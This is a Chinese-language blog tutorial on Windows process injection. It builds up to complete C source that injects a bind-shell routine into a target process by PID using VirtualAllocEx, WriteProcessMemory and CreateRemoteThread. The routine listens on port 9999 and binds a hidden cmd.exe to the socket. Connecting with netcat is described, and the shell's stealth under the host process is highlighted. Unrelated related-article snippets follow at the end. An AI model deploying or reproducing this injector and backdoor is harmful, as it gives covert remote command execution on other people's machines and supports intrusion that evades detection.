1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用Metasploit
这个渗透工具生成ShellCode
以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向ShellCode
Shell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能有利于于Shell的隐藏。本章的内容其原理与《运用C语言编写ShellCode代码》
中所使用的原理保持一致,通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell,本章节内容对Metasploit
工具生成的Shell原理的理解能够起到促进作用。
读者需要理解,套接字(socket)是计算机网络中一种特殊的文件,是网络通信中的一种技术,用于实现进程之间的通信和网络中数据的传输。在网络通信中,套接字就像一条传送数据的管道,负责数据的传输和接收。而socket(套接字)是在网络通信中最常用的一种通信协议,它定义了一组用于网络通信的API。通过使用socket,程序员可以在不同的计算机之间进行通信。读者可以将两者理解为一个意思。
1.12.1 读入Kernel32模块基址
为了能让读者更清晰的认识功能实现细节,首先笔者先来实现一个简单的读取特定模块内函数的入口地址,并输出该模块地址的功能,需要注意的是,在之前的文章中笔者已经介绍了这种读取技术,当时使用的是汇编版实现,由于需要自定位代码的支持导致汇编语言的实现过于繁琐,其实此类代码在应用层实现仅仅只需要调用GetProcAddress()
即可获取到核心参数,其实先细节如下所示;
#include <iostream>
#include <Windows.h>// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle; // 存储句柄char kernelstring[20]; // 存储字符串 kernel32.dll// 针对User32的操作HANDLE UserHandle; // 存储句柄 char userstring[20]; // 存储字符串 user32.dll// 定义函数指针LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;int main(int argc,char *argv[])
{ShellParametros Param;// 得到加载基地址的工具函数Param.KernelHandle = LoadLibrary("kernel32.dll");Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);system("pause");return 0;
}
这段代码主要是定义了一个结构体ShellParametros
,并初始化了其中的一些参数。该结构体中定义了两个HANDLE
类型的变量KernelHandle
和UserHandle
,分别用于存储kernel32.dll
和user32.dll
的句柄。同时,也定义了两个字符串数组kernelstring
和userstring
,用于存储对应的库名。
接下来,定义了两个函数指针类型LOADLIBRARY
和GETPROCADDRESS
,分别用于后续的动态库加载和函数导出操作。
在main
函数中,首先初始化了ShellParametros
结构体类型的变量Param
。然后,调用LoadLibrary
函数加载kernel32.dll
库,并通过GetProcAddress
函数分别获取LoadLibraryA
和GetProcAddress
函数的地址,并将它们赋值给Param.KernelLoadLibrary
和Param.KernelGetProcAddress
函数指针变量。最终打印出获取到的kernel32.dll
的基地址,以及等待用户按下任意键退出程序。
该代码拆分来看,首先是入口处的结构体定义部分,这部分定义了一个结构体ShellParametros
,其中包含了对于kernel32.dll
和user32.dll
库的操作的句柄和字符串,以及相关的函数指针类型LOADLIBRARY
和GETPROCADDRESS
。
// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle; // 存储句柄char kernelstring[20]; // 存储字符串 kernel32.dll// 针对User32的操作HANDLE UserHandle; // 存储句柄 char userstring[20]; // 存储字符串 user32.dll// 定义函数指针LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;
而在主函数中,首先声明了一个结构体变量Param
,然后调用LoadLibrary
函数加载kernel32.dll
库,将得到的句柄存储到Param.KernelHandle
中。接着通过调用GetProcAddress
函数获取LoadLibraryA
和GetProcAddress
函数的地址,将得到的函数地址分别存储到Param.KernelLoadLibrary
和Param.KernelGetProcAddress
中。最后通过printf
函数打印出获取到的Kernel32.dll
的基址。
int main(int argc, char *argv[])
{ShellParametros Param;// 得到加载基地址的工具函数Param.KernelHandle = LoadLibrary("kernel32.dll");Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);printf("获取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);printf("获取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);system("pause");return 0;
}
这段代码没有任何难度,相信读者能够理解其实先的核心原理,当读者运行此段代码,则会分别输出Kernel32.dll
,LoadLibraryA
及GetProcAddress
这三个模块函数的基址,输出效果如下图所示;
1.12.2 进程注入MsgBox弹窗
通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中,并运行输出一个弹窗,该功能的输出形式与前几章中的内容很相似,但却有本质的不同,首先前几章内容中我们注入的数据为纯粹的ShellCode
代码,此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数,而本章实现的注入技术则是动态填充内存并注入,从实用价值上来说本章中所演示的注入技术将更加通用及灵活。
动态弹窗的注入技术同样需要定义关键函数指针,如下将分别定义三个函数指针,这些API函数的函数指针类型定义:
- LOADLIBRARY:LoadLibrary函数的函数指针类型,用于将动态链接库(DLL)加载到调用进程的地址空间中。
- GETPROCADDRESS:GetProcAddress函数的函数指针类型,用于从DLL中检索导出函数或变量的地址。
- MESSAGEBOX:MessageBox函数的函数指针类型,用于创建、显示和操作消息框。WINAPI调用约定指定了如何传递函数参数和清理堆栈。
这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。通过使用这些函数指针,程序可以在运行时获取函数地址并动态调用它们。
// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);// User32 中针对MessageBox的调用约定定义
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
接着我们需要定义一个ShellParametros
结构体,该结构体的作用是用与传递参数到子线程MyShell(ShellParametros* ptr)
中以供其使用,当然读者也可以使用普通变量形式,只是普通变量在参数传递时没有传递结构方便快捷,如下从结构中可看出,我们分别传递kernel32.dll
,LoadLibrary
,GetProcAddress
及MessageBoxA
的函数地址,并附带有该函数弹窗User_MsgBox
的提示信息;
typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE Kernel32Base;char KernelString[20]; // kernel32.dllLOADLIBRARY Kernel_LoadLibrary;GETPROCADDRESS Kernel_GetProcAddress;// 针对User32的操作HANDLE User32Base;char UserString[20]; // 存储 user32.dll 字符串char User_MsgBox[20]; // 存储 MessageBoxA 字符串// 输出一段话char Text[32];}ShellParametros;
接着就是关于__stdcall MyShell(ShellParametros*);
函数的封装,这是一个用于远程线程的函数定义,函数名为MyShell
,采用__stdcall
调用约定。该函数的参数是一个名为ptr
的指向ShellParametros
结构体的指针。
函数的实现包括以下步骤:
- 1.通过调用
ptr->Kernel_LoadLibrary
函数动态加载指定的Kernel32
和User32
库,并将它们的句柄保存在ptr->Kernel32Base
和ptr->User32Base
变量中。 - 1.使用
ptr->Kernel_GetProcAddress
函数获取User32
库中名为ptr->User_MsgBox
的导出函数的地址,并将其转换为MESSAGEBOX
函数指针类型的变量msgbox
。 - 1.调用
msgbox
函数,显示ptr->Text
变量中保存的文本内容。
该函数的作用是在远程线程中动态加载Kernel32
和User32
库,并调用User32
库中的MessageBox
函数显示指定的文本内容。
void __stdcall MyShell(ShellParametros*);// 定义远程线程函数
void __stdcall MyShell(ShellParametros* ptr)
{ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);// printf("动态获取到Kernel32基地址 = %x \n", ptr->Kernel32Base);// printf("动态获取到User32基地址 = %x \n", ptr->User32Base);// MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);//printf("MessageBox 基地址 = %x \n", msgbox);msgbox(0, ptr->Text, 0, 0);
}
最后我们来看一下在主函数中我们需要做什么,在主函数中通过GetProcAddress
函数分别得到我们所需要的函数入口地址,并通过调用strcpy
函数分别将所需参数写出到ShellParametros
结构体中保存,当一切准备就绪再通过OpenProcess
打开远程进程,并设置一段读写执行内存空间,并调用WriteProcessMemory
将MyShell
函数写出到该内存中保存,最后调用CreateRemoteThread
开辟远程线程,执行弹窗功能;
这段代码主要包括以下步骤:
- 1.定义了一个
ShellParametros
类型的变量Param
和一个指向ShellParametros
结构体的指针remote
,并声明了一个HANDLE
类型的变量hProcess
和一个void*
类型的变量p
。 - 2.使用
LoadLibrary
和GetProcAddress
函数获取Kernel32
库中的LoadLibrary
和GetProcAddress
函数的地址,并将其保存到Param
结构体的相应字段中。 - 3.分别将
kernel32.dll
和user32.dll
的文件名字符串保存到Param
结构体的相应字段中,并将需要注入的代码函数名和文本字符串分别保存到Param
结构体的相应字段中。 - 4.使用
OpenProcess
函数打开指定PID
的进程,并分别使用VirtualAllocEx
函数在该进程中分配内存空间,分别保存注入代码和Param
结构体的数据。 - 5.使用
WriteProcessMemory
函数将注入代码和Param
结构体的数据写入到指定进程中的内存空间中。 - 6.使用
CreateRemoteThread
函数创建一个远程线程,将注入代码的地址和Param
结构体的地址传递给远程线程,并在指定进程中执行注入的代码。
代码的作用是在指定进程中注入代码,并调用该代码中的 MyShell
函数,该函数将动态加载 Kernel32
和 User32
库,并调用 User32
库中的 MessageBox
函数显示指定的文本内容。
int main(int argc, char* argv[])
{ShellParametros Param, *remote = NULL;HANDLE hProcess;void* p = NULL;// 进程PIDint ProcessID = 4016;// 得到加载基地址的工具函数Param.Kernel32Base = LoadLibrary("kernel32.dll");Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");// printf("获取到Kernel32.dll = %x", Param.KernelHandle);// 分别获取Kernel32与User32的对应字符串strcpy(Param.KernelString, "kernel32.dll");strcpy(Param.UserString, "user32.dll");strcpy(Param.User_MsgBox, "MessageBoxA");strcpy(Param.Text, "hello lyshark");// 根据PID注入代码到指定进程中hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);// MyShell(&Param);return 0;
}
至此读者可以将上述代码编译下来,但需要注意的是,由于我们采用了动态生成ShellCode
的功能,所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制,否则由于地址的动态变化我们的代码将无法成功定位函数入口,也就无法注入Shell;
DEP(Data Execution Prevention)保护是一种防止攻击者在内存中执行恶意代码的技术。它通过将内存中的数据和代码区分开来,从而使得攻击者无法在数据区执行代码。DEP保护通过硬件和软件两种方式来实现。硬件实现通过CPU硬件中的NX位,禁止在数据区执行代码。软件实现通过操作系统内核检查每个进程中的内存页面的属性,禁止在非执行属性(NX)页面上执行代码。
ASLR(Address Space Layout Randomization)是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。它通过在每次程序运行时随机地分配内存地址,使得攻击者难以确定内存地址的位置,从而难以实现攻击。ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现,如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。
这两种技术都可以增强操作系统的安全性,防止恶意代码的攻击和利用。DEP保护主要针对代码执行方面,ASLR则主要针对代码和数据在内存中的分布方面。同时,两者也有一些弱点和缺陷,例如DEP保护可以被一些攻击技术绕过,ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。因此,在实际应用中需要综合考虑多种安全技术,以提高系统的安全性。
修改int ProcessID
并改为被注入进程的PID=4016
,然后直接运行注入程序,则读者会看到被注入进程弹出了一个MessageBox提示框,则说名我们的自定义Shell已经注入成功并运行了;
1.12.3 进程注入MyShell正向Shell
经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode
注入软件了,但是上述提到的这些功能并不具备真正的意义,而本章将继续延申,并实现一种可被连接的正向ShellShell,在此案例中读者需要理解一种绑定技术,在默认情况下,Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道,而cmd.exe
进程同样存在这三种管道,要实现正向Shell,一般而言攻击者会创建一个监听指定端口的网络套接字,并将其绑定到一个命令行解释器(如 cmd.exe)的标准输入和输出流上,这样攻击者即可通过这个管道来使用远程的CMD命令行,并以此达到控制对方的目的。
将CMD绑定到套接字上通常涉及以下步骤:
- 创建一个监听套接字,以便在客户端连接之前等待连接。监听套接字可以是TCP或UDP类型。
- 调用bind()函数将监听套接字绑定到本地IP地址和端口上。这是让客户端知道要连接哪个地址和端口的关键步骤。
- 调用listen()函数将监听套接字转换为被动套接字,并设置等待连接的队列的最大长度。
- 调用accept()函数来接受客户端连接,这将创建一个新的套接字,它与客户端套接字相关联。
- 调用CreateProcess()函数启动cmd.exe进程,并将标准输入、输出和错误流重定向到新创建的套接字上。
首先我们需要定义所需要调用的函数指针,下方代码定义了一组函数指针,每个函数指针都指向一个API函数,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。
#include <iostream>
#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")// 定义各种指针变量
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
接着我们需要在原始ShellParametros
中进行扩充,根据所需函数的多少来定义承载该函数内存地址的指针类型;
typedef struct
{HANDLE KernelHandle;char kernelstring[20]; // 存储kernel32.dll字符串char CreateProcessstring[20]; // 存放函数名字字符串LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;CREATEPROCESS KernelCreateProcess;HANDLE WSAHandle;char wsastring[20];char wsastartupstring[20];char WSASocketString[20];char WSAConnectstring[20];char bindstring[20];char acceptstring[10];char listenstring[10];WSASTARTUP ShellWsaStartup;ACCEPT ShellAccept;BIND ShellBind;WSACONNECT ShellWsaConnect;WSASOCKET ShellWSASocket;LISTEN ShellListen;unsigned short port;char cmd[255];
} PARAMETROS;
接着再来看核心MyShell
Shell实现函数,如下代码实现了一个远程Shell
,通过动态链接库实现对API
函数的调用。
首先,通过调用 LoadLibrary
和 GetProcAddress
函数,获取到 ws2.dll
和 kernel32.dll
中的函数地址,分别是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。
然后,通过调用 WSAStartup
函数初始化套接字编程,创建一个套接字,并绑定在一个端口。通过 Listen
函数监听连接请求,并使用 Accept
函数接收连接请求。
当有连接请求时,使用 CreateProcess
函数创建一个进程,并将标准输入、输出和错误重定向到网络套接字,实现远程 Shell。
// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS* ptr)
{STARTUPINFO si;struct sockaddr_in sa;PROCESS_INFORMATION pi;int s, n;WSADATA HWSAdata;// 通过GetProcAddress获取到ws2.dll中的所有函数地址ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);// 通过GetProcAddress获取到kernel32.dll中的所有函数地址ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);ptr->ShellWsaStartup(0x101, &HWSAdata);s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);sa.sin_family = AF_INET;sa.sin_port = ptr->port;sa.sin_addr.s_addr = 0;ptr->ShellBind(s, (struct sockaddr*)&sa, 16);ptr->ShellListen(s, 1);while (1){n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);si.cb = sizeof(si);si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;si.lpDesktop = si.lpTitle = (char*)0x0000;si.lpReserved2 = NULL;ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);}
}
最后再来看一下实现调用的主函数,代码中通过argv[1]
也就是命令行参数传递,并绑定到(unsigned short)9999
端口上,通过GetProcAddress
依次获取所需函数内存地址并使用strcpy
初始化结构体PARAMETROS
,最后直接调用CreateRemoteThread
实现线程Shell反弹。
- 通过 LoadLibrary 和 GetProcAddress 函数获取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函数的地址。然后,通过 strcpy 函数初始化一个 PARAMETROS 结构体,并填充该结构体的各个字段。
- 通过 OpenProcess 函数打开目标进程,使用 VirtualAllocEx 函数在目标进程中分配内存,并使用 WriteProcessMemory 函数将代码和参数复制到目标进程的内存中。
- 通过 CreateRemoteThread 函数在目标进程中创建一个线程,并将线程的入口点设置为 MyShell 函数,这样就实现了进程注入。
int main(int argc, char* argv[])
{void* p = NULL;HANDLE hProcess;PARAMETROS parametros, * remote;if (argc == 2){int PID = atoi(argv[1]);memset((void*)¶metros, 0, sizeof(PARAMETROS));strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);parametros.port = htons((unsigned short)9999);printf("[-] PID = %d \n", PID);// 获取到动态链接库加载函数地址parametros.KernelHandle = LoadLibrary("kernel32.dll");parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");// 拷贝 winsock 字符串strcpy(parametros.wsastring, "ws2_32.dll");strcpy(parametros.wsastartupstring, "WSAStartup");strcpy(parametros.WSASocketString, "WSASocketW");strcpy(parametros.WSAConnectstring, "WSAConnect");strcpy(parametros.bindstring, "bind");strcpy(parametros.acceptstring, "accept");strcpy(parametros.listenstring, "listen");// 拷贝 kernel32 字符串strcpy(parametros.kernelstring, "kernel32.dll");strcpy(parametros.CreateProcessstring, "CreateProcessA");// 开始注入代码hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);WriteProcessMemory(hProcess, remote, ¶metros, sizeof(PARAMETROS), 0);CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);// CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);printf("[+] 已注入进程 %d \n", PID);}return 0;
}
编译上述代码片段,并找到对应进程PID,通过参数MyShell.exe 8624
传入被注入进程PID号,当注入成功后,会提示进程请求联网,此时一个不具备网络通信功能的进程,因我们注入了ShllShell,则自然就具备了网络通信的能力,如下图所示;
此时读者可下载32位版本的NC,通过使用执行命令nc [远程IP地址] [端口]
连接到进程内部;
小提示:Netcat是一款网络工具,也称为nc工具,可以在不同的计算机之间进行数据传输。它可以在命令行中使用,并支持TCP/IP和UDP协议,其被誉为黑客界的瑞士军刀,是每个安全从业者不可或缺的利器。
官方网站:https://eternallybored.org/misc/netcat/
当连接到进程内部则会反弹一个CMDShell
此时在该CMD下的所有操作都会被标记为宿主进程的操作。
本文作者: 王瑞
本文链接: https://www.lyshark.com/post/3e10758e.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
相关文章:
1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用Metasploit这个渗透工具生成ShellCode以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向ShellCodeShell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,…...
MySQL 日志系统
重要日志模块 日志文件bin logredo log**关于循环写入和擦除的checkpoint 规则**redo log 怎么刷入磁盘的 binlog 和 redo log 有什么区别?undo log 日志文件 错误日志(error log): 错误日志文件对 MySQL 的启动、运行、关闭过程进…...
LeetCode刷题---Two Sum(一)
文章目录 🍀题目🍀解法一🍀解法二🍀哈希表 🍀题目 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每…...
算法通关村第十七关——插入区间
LeetCode435,给定一个区间的集合,找到需要移除区间的最小数量,使剩余区间互不重叠。 示例1: 输入:interva1s[[1,3],[6,9]],newInterva1[2,5] 输出:[[1,5],[6,9]] 解释:新区间[2,5]与[1,3]重…...
Jenkins java8安装版本安装
一、首先准备Jenkins、Jdk8、Tomcat9安装包 根据Jenkins官网介绍,Jenkins支持Java8的版本如下: 我们选择2.164版本进行安装,根据版本号支持输入下载地址:https://archives.jenkins.io/war/2.164/jenkins.war,进行下载…...
线上问诊:数仓开发(二)
系列文章目录 线上问诊:业务数据采集 线上问诊:数仓数据同步 线上问诊:数仓开发(一) 线上问诊:数仓开发(二) 文章目录 系列文章目录前言一、DWS1.最近1日汇总表1.交易域医院患者性别年龄段粒度问诊最近1日汇总表2.交易域医院患者…...
Ansible自动化运维工具(三)
目录 Ansible 的脚本 --- playbook 剧本 编辑2.vars模块实战实例 3.指定远程主机sudo切换用户 4.when模块实战实例 5.with_items迭代模块实战实例 6.Templates 模块实战实例 (1)先准备一个以 .j2 为后缀的 template 模板文件,设置引用…...
ChatGPT在创新和创业中的应用如何?
ChatGPT是一种基于大规模预训练的语言模型,它在创新和创业中有着广泛的应用。作为一种具备自然语言处理能力的模型,ChatGPT可以与用户进行对话,并提供相关的信息、建议和创意。以下是ChatGPT在创新和创业中的一些应用: 创意生成和…...
Log4j2 配置日志记录发送到 kafka 中
前言 log4j2 在 2.11.0 之后的版本,已经内置了 KafkaAppender 支持可以将打印的日志直接发送到 kafka 中,在这之前如果想要集中收集应用的日志,就需要自定义一个 Layout 来实现,相对来说还是比较麻烦的。 官网文档:L…...
Linux用户与组管理(03)(八)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、组管理 1、概述 2、用户信息查看 总结 前言 今天是学习用户与组管理的最后一节课,这节课主要是组管理的内容,希望能一起学习ÿ…...
Java自定义异常
Java标准库定义的常用异常包括: 当我们在代码中需要抛出异常时,尽量使用JDK已定义的异常类型。例如,参数检查不合法,应该抛出IllegalArgumentException: static void process1(int age) {if (age < 0) {throw new…...
vscode远程调试php
使用vscode远程调试php的方法 1.安装remote ssh插件 2.连接服务器 可以点击左下角的绿色按钮,或者ctrlshiftp打开命令框输入remote ssh应该也有。 3.在服务器端vscode安装php debug插件 4.安装xdebug xdebug是用来调试php的软件,原本和vscode没什么关…...
C语言:截断+整型提升练习
详情关于整型提升与截断见文章:《C语言:整型提升》 一、代码一 int main() { char a -1; signed char b -1; unsigned char c -1; printf("%d %d %d", a, b, c); return 0; } 求输出结果 解析如下代码: int mai…...
Kubernetes技术--k8s核心技术kubectl命令行工具
(1).概述 kubectl是Kubernetes集群的命令行工具,通过 kubectl 能够对集群本身进行管理,并能够在集群上进行容器化应用的安装部署。 (2).语法 Kubectl [command] [type] [name] [flags] 语法参数说明: command: 指定要对资源执行的操作,例如 create、get、describe 和 delet…...
Element浅尝辄止9:Popover 弹出框组件
Popover 的属性与 Tooltip 很类似,它们都是基于Vue-popper开发的,因此有重复属性 1.如何使用? /*trigger属性用于设置何时触发 Popover,支持四种触发方式: hover,click,focus 和 manual。 对于…...
程序开发:构建功能强大的应用的艺术
程序开发是在今天的数字化时代中扮演重要角色的一项技术。通过编写代码,开发人员能创造出无数不同的应用,从简单的计算器到复杂的社交平台。电子商务应用、在线教育平台、医疗记录系统等,都重视程序开发的重要性,通过这其中的交互…...
(七)k8s实战-高级调度
一、CronJob 定时任务 1、cron 表达式 # ┌───────────── 分钟 (0 - 59) # │ ┌───────────── 小时 (0 - 23) # │ │ ┌───────────── 月的某天 (1 - 31) # │ │ │ ┌───────────── 月份 (1 - 12) # │ │ │ │ ┌…...
HTTP/1.1协议中的八种请求
2023年8月29日,周二晚上 目录 概述八种请求GET请求POST请求PUT请求PATCH请求DELETE请求HEAD请求OPTIONS请求TRACE请求 概述八种请求 HTTP/1.1协议中定义了8种常用的请求方法,分别是:1. GET 用途:请求指定的页面信息,并返回实体主体。例子:获取一个网页、图片等静态…...
面试系列 - JVM内存模型和调优详解
目录 一、JVM内存模型 1. 程序计数器(Program Counter Register): 2.Java虚拟机栈(Java Virtual Machine Stacks): 3. 本地方法栈(Native Method Stack): 5. 方法区…...
JavaScript -【第一周】
文章来源于网上收集和自己原创,若侵害到您的权利,请您及时联系并删除~~~ JavaScript 介绍 变量、常量、数据类型、运算符等基础概念 能够实现数据类型的转换,结合四则运算体会如何编程。 体会现实世界中的事物与计算机的关系理解什么是数据并…...
高性能缓存 Caffeine 原理及实战
Caffeine 是基于Java 8 开发的、提供了近乎最佳命中率的高性能本地缓存组件,Spring5 开始不再支持 Guava Cache,改为使用 Caffeine。 1 算法原理 对于 Java 进程内缓存我们可以通过 HashMap 来实现。不过,Java 进程内存是有限的,…...
【算法】leetcode 105 从前序与中序遍历序列构造二叉树
题目 输入某二叉树的前序遍历和中序遍历的结果,请构建该二叉树并返回其根节点。 假设输入的前序遍历和中序遍历的结果中都不含重复的数字。 示例 1: Input: preorder [3,9,20,15,7], inorder [9,3,15,20,7] Output: [3,9,20,null,null,15,7]示例 2: Input: pr…...
11 | Spark计算数据文件中每行数值的平均值
需求:计算数据文件中的数值的平均值 背景: 你有一个数据文件,其中包含一系列数值,每行一个数值,数值之间用逗号分隔。你想使用Apache Spark分布式计算框架来读取数据文件中的数值并计算它们的平均值。功能要求: 通过Spark配置和上下文初始化Spark应用程序。从数据文件中…...
AI与游戏创新:深度学习的起跑枪声
《AI与游戏创新:深度学习的起跑枪声》 目录 引言AIGC定义与重要性AI在游戏中的应用AI推动游戏创新的可能途径AIGC的挑战与解决方案结论:AI是游戏行业的下一站 引言 AI(人工智能)正在全球范围内改变各个行业,游戏行…...
【GUI开发】用python爬YouTube博主信息,并开发成exe软件
文章目录 一、背景介绍二、代码讲解2.1 爬虫2.2 tkinter界面2.3 存日志 三、软件演示视频四、说明 一、背景介绍 你好,我是马哥python说,一名10年程序猿。 最近我用python开发了一个GUI桌面软件,目的是爬取相关YouTube博主的各种信息&#…...
7.6 函数的递归调用
直接调用: ### 1. 直接递归调用 直接递归调用是指一个函数直接调用自己。例如,计算阶乘的函数,可以使用递归方法: int factorial(int n) {if (n < 1) {return 1;}return n * factorial(n - 1); } 在这个例子中,f…...
本地开机启动jar
1:首先有个可运行的jar包 本地以ruiyi代码为例打包 2:编写bat命令---命名为.bat即可 echo off java -jar D:\everyDay\test\RuoYi\target\RuoYi.jar 3:设置为开机自启动启动 快捷键winr----输入shell:startup---打开启动文档夹 把bat文件复…...
解决uniapp手机真机调试时找不到手机问题
